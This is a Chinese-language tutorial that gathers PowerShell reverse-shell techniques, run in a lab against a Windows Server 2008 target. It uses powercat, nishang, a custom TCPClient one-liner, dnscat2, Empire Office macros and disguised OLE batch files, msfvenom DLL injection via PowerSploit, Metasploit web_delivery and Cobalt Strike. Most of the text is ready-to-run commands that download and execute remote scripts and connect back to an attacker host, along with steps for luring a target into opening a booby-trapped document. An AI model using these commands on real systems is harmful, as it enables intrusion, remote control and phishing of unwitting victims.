powershell反彈shell常見方式
本文整理了通過powershell反彈shell的常見方式。利用powercat、dnscat2、nishang、Empire、PowerSploit、Metasploit、Cobalt strike、powershell自定義函式等方式反彈TCP/UDP/HTTP/HTTPS/ICMP/DNS等型別shell。
測試環境說明
攻擊者:KALI2.0 32位 192.168.159.134
攻擊者2:Ubuntu 14.04 LTS 192.168.159.129 (僅在dnscat2 反彈DNS shell中使用)
目標機:Windows Server 2008 X64 192.168.159.138
powercat反彈shell
powercat( ofollow,noindex" target="_blank">https://github.com/besimorhino/powercat )為Powershell版的Netcat,實際上是一個powershell的函式,使用方法類似Netcat
攻擊者(192.168.159.134)開啟監聽:
nc -lvp 6666
或者使用powercat監聽
powercat -l -p 6666
目標機反彈cmd shell:
powershell IEX (New-Object System.Net.Webclient).DownloadString ('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.159.134 -p 6666 -e cmd
nishang反彈shell
Nishang( https://github.com/samratashok/nishang )是一個基於Shell/">PowerShell的攻擊框架,集合了一些PowerShell攻擊指令碼和有效載荷,可反彈TCP/ UDP/ HTTP/HTTPS/ ICMP等型別shell。說明:本文沒有具體實現nishang反彈http/https shell
Reverse TCP shell
攻擊者(192.168.159.134)開啟監聽:
nc -lvp 6666
目標機執行:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com /samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.159.134 -port 6666
或者將nishang下載到攻擊者本地:
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.159.134 -port 6666

Reverse UDP shell
攻擊者(192.168.159.134)開啟監聽:
nc -lvup 53
目標機執行:
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellUdp.ps1'); Invoke-PowerShellUdp -Reverse -IPAddress 192.168.159.134 -port 53
Reverse ICMP shell
需要利用icmpsh_m.py ( https://github.com/inquisb/icmpsh)和nishang中的Invoke-PowerShellIcmp.ps1 來反彈ICMP shell。
首先攻擊端下載icmpsh_m.py檔案
icmpsh_m.py Usage: python icmpsh_m.py [Attacker IP] [Victim IP]
攻擊者(192.168.159.134)執行:
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #忽略所有icmp包 python icmpsh_m.py 192.168.159.134 192.168.159.138 #開啟監聽
目標機(192.168.159.138)執行: powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellIcmp.ps1');Invoke-PowerShellIcmp -IPAddress 192.168.159.134
自定義powershell函式反彈shell
利用powershell建立一個Net.Sockets.TCPClient物件,通過Socket反彈tcp shell,其實也是借鑑nishang中的Invoke-PowerShellTcpOneLine.ps1
攻擊者(192.168.159.134) 開啟監聽:
nc -lvp 6666
目標機執行:
powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('192.168.159.134',6666);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
或者儲存為lltest_tcp.ps1檔案
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/lltest_tcp.ps1');Invoke-lltestTcp
lltest_tcp.ps1 如下:
function Invoke-lltestTcp { $client = New-Object Net.Sockets.TCPClient('192.168.159.134',6666) $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0} while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i) $sendback = (iex $data 2>&1 | Out-String ) $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ' $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close() }
dnscat2 反彈DNS shell
dnscat2( https://github.com/iagox86/dnscat2 )是一個DNS隧道,旨在通過DNS協議建立加密的命令和控制(C&C)通道。dnscat2分為兩部分:客戶端和伺服器。dnscat2客戶端採用C語言編寫,伺服器端採用ruby語言編寫。後來又有安全研究人員使用PowerShell指令碼重寫了dnscat2客戶端dnscat2-powershell( https://github.com/lukebaggett/dnscat2-powershell )
利用dnscat2 和 dnscat2-powershell實現反彈DNS shell:
攻擊者(Ubuntu 14.04 LTS 192.168.159.129)開啟監聽:
ruby dnscat2.rb --dns "domain=lltest.com,host=192.168.159.129" --no-cache -e open
-e open 不使用加密連線,預設使用加密
ruby dnscat2.rb —help 檢視幫助
目標機執行:
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer 192.168.159.129
成功反彈shell後,攻擊者:
session -i 1 #進入到session 1
shell #執行之後會新生成一個session 需要通過session -i 2 切換
session -i 2

Empire 結合office反彈shell
Empire( https://github.com/EmpireProject/Empire ) 基於powershell的後滲透攻擊框架,可利用office 巨集、OLE物件插入批處理檔案、HTML應用程式(HTAs)等進行反彈shell
利用office 巨集反彈shell
攻擊者(192.168.159.134)開啟監聽:
uselistener http
execute
back
usestager windows/macro http #生成payload
execute

生成/tmp/macro 攻擊程式碼後,新建一個word 建立巨集

點選“檔案”-“巨集”-“建立”,刪除自帶的指令碼,複製進去/tmp/macro檔案內容,並儲存為“Word 97-2003文件( .doc)”或者“啟用巨集的Word 文件( .docm)”檔案,當誘導目標開啟,執行巨集後,即可成功反彈shell:
說明:需要開啟巨集或者使用者手動啟用巨集。開啟巨集設定:“檔案”-“選項”-“信任中心”,選擇“啟用所有巨集”
利用office OLE物件插入bat檔案反彈shell
攻擊者(192.168.159.134)開啟監聽 並生成bat檔案payload:
listeners
usestager windows/launcher_bat http
execute

在word中“插入”-“物件”-“由檔案建立” 處,插入launcher.bat檔案,可更改檔名稱和圖示,進行偽裝,當誘導目標點選launcher_lltest.xls檔案,執行後,即可成功反彈shell:
PowerSploit DLL注入反彈shell
PowerSploit是又一款基於powershell的後滲透攻擊框架。PowerSploit包括Inject-Dll(注入dll到指定程序)、Inject-Shellcode(注入shellcode到執行程序)等功能。
利用msfvenom、metasploit和PowerSploit中的Invoke-DllInjection.ps1 實現dll注入,反彈shell
1)msfvenom生成dll後門
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.159.134 lport=6667 -f dll -o /var/www/html/PowerSploit/lltest.dll
說明:目標機64位 用x64 ; 32位的話用windows/meterpreter/reverse_tcp
2)metasploit 設定payload 開啟監聽
use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.159.134 set LPORT 6667 exploit
3)powershell 下載PowerSploit中Invoke-DllInjection.ps1和msfvenom生成的dll後門
首先上傳dll檔案到目標機。然後Get-Process 選定一個程序,最後注入到該程序
目標機執行:
Get-Process #選擇要注入的程序 IEX (New-Object Net.WebClient).DownloadString("http://192.168.159.134/PowerSploit/CodeExecution/Invoke-DllInjection.ps1") Invoke-DllInjection -ProcessID 5816 -Dll C:UsersAdministratorDesktoplltest.dll
metasploit反彈shell
利用metasploit的web_delivery模組可通過python、php、powershell、regsvr32等進行反彈shell
攻擊者(192.168.159.134):
use exploit/multi/script/web_delivery set PAYLOAD windows/meterpreter/reverse_tcp set target 2 set LHOST 192.168.159.134 set LPORT 6666 exploit 目標機執行: powershell.exe -nop -w hidden -c $f=new-object net.webclient;$f.proxy=[Net.WebRequest]::GetSystemWebProxy(); $f.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $f.downloadstring('http://192.168.159.134:8080/4iNSwaMtwWjm');
Cobalt strike反彈shell
Cobalt strike的Scripted Web Delivery模組,可通過bitsadmin、powershell、python、regsvr32等進行反彈shell,類似metasploit的web_delivery模組
說明:安裝Cobalt strike時推薦 java version “1.8.0_121”
1)執行服務端
./teamserver 192.168.159.134 lltest #lltest為連線密碼
2)執行客戶端:
./cobaltstrike #使用者名稱隨便輸入 密碼lltest
3)開啟監聽:
首先要建立一個Listener, 點選 Cobalt Strike->Listeners ,然後點選Add便可建立Listeners
點選Cobalt Strike->Listeners
payload可選擇windows/beacon_http/reverse_http
說明:其中windows/beacon 是Cobalt Strike自帶的模組,包括dns,http,https,smb四種方式的監聽器,windows/foreign 為外部監聽器,即msf或者Armitage的監聽器。
4)生成powershell payload:
點選Attack -> Web Drive-by -> Scripted Web Delivery
Type選擇 powershell
5)目標機執行powershell payload:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.159.134:83/a'))"
6)成功反彈shell後,右鍵interact 進入shell

參考
https://decoder.cloud/2017/01/26/dirty-tricks-with-powershell/
https://www.blackhillsinfosec.com/powershell-dns-command-control-with-dnscat2-powershell/
https://enigma0x3.net/2016/03/15/phishing-with-empire/
http://www.hackingarticles.in/command-injection-exploitation-using-web-delivery-linux-windows/
https://evi1cg.me/archives/Nishang_shells.html
https://evi1cg.me/archives/Cobalt_strike.html